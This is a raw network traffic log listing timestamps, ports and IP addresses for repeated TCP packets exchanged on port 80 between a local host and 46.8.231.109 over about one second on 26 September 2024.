Sep 26, 2024 19:05:16.928354979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.928385019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.928452015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.928488970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.928534985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.928550959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.928579092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.928585052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.928601027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.928611994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.928620100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.928656101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929014921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929035902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929061890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929063082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929073095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929080009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929100037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929105997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929116964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929125071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929137945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929164886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929919004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929944038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929971933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.929979086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.929991961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930008888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930012941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930016994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930035114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930039883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930056095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930062056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930089951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930547953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930726051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930741072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930767059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930771112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930783033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930788040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930799961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930810928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930816889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930830956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930847883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930856943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.930862904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.930912971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931592941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931611061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931637049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931643009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931654930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931655884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931677103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931677103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931691885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931703091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931715965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.931727886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931745052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.931762934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932476997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932492971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932519913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932526112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932538033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932540894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932562113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932564020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932573080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932583094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932595015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932602882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.932620049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.932636023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.933320045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.933353901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.933370113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.933372021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.933382988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.933398962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.933406115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.933417082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.933435917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.933443069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.933449984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.933479071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934236050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934252024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934278965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934286118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934299946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934299946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934314966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934319973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934339046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934343100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934351921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934361935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.934381008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.934397936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935055971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935074091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935101032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935108900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935120106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935123920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935143948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935144901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935161114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935162067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935188055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935189009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935204983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935228109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935740948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935760975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935786009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935791969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935800076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935806990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935823917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935830116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935842037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935851097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.935868025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.935889006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.970905066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.975996971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172348976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172389030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172405958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172452927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.172482014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.172673941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172688961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172714949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172729015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.172745943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.172750950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.172790051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173048973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173063993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173090935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173095942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173105001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173155069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173413992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173434019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173460007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173460960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173472881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173501968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173867941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173886061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173913002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173913002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173923016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173928022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173957109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173959017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173971891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.173971891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.173995972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174005032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.174006939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174026012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.174043894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174062967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174802065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.174817085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.174845934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.174860001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174863100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.174875975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174894094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.174911976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.175079107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175092936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175124884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175124884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.175143957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175165892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.175175905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175188065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.175194025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175216913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.175220013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.175231934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.175259113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176127911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176147938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176170111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176177979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176187992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176193953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176209927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176213980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176229000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176234007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176248074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176259041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176269054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176276922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176297903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176300049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.176306963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.176337957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177088976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177105904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177133083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177138090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177150965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177160978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177169085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177174091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177184105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177191973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177213907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177216053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177222967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177232981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.177244902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.177269936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178069115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178088903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178112984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178123951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178131104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178139925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178154945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178158045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178173065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178174019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178190947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178198099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178214073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.178220987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178232908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.178250074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179037094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179054022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179083109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179092884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179100990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179106951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179119110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179126024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179146051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179147005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179160118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179163933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179178953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179202080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179827929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179846048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179874897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179881096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179889917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179896116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179917097 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179919004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179928064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179936886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179959059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179960012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.179969072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.179990053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180000067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180008888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180027008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180043936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180702925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180722952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180747032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180757046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180768013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180778027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180785894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180794954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180810928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180813074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180824995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180830002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180846930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180855989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180866003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.180870056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.180907965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181591034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181607962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181636095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181657076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181658030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181679964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181696892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181704044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181704044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181726933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181730986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181742907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181745052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181762934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.181766033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181780100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.181806087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182478905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182499886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182523012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182534933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182540894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182548046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182563066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182565928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182585001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182591915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182601929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182606936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182630062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182636976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182647943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182655096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.182676077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.182693958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183377028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183432102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.183446884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.183465958 CEST	80	49735	46.8.231.109	192.168.2.4
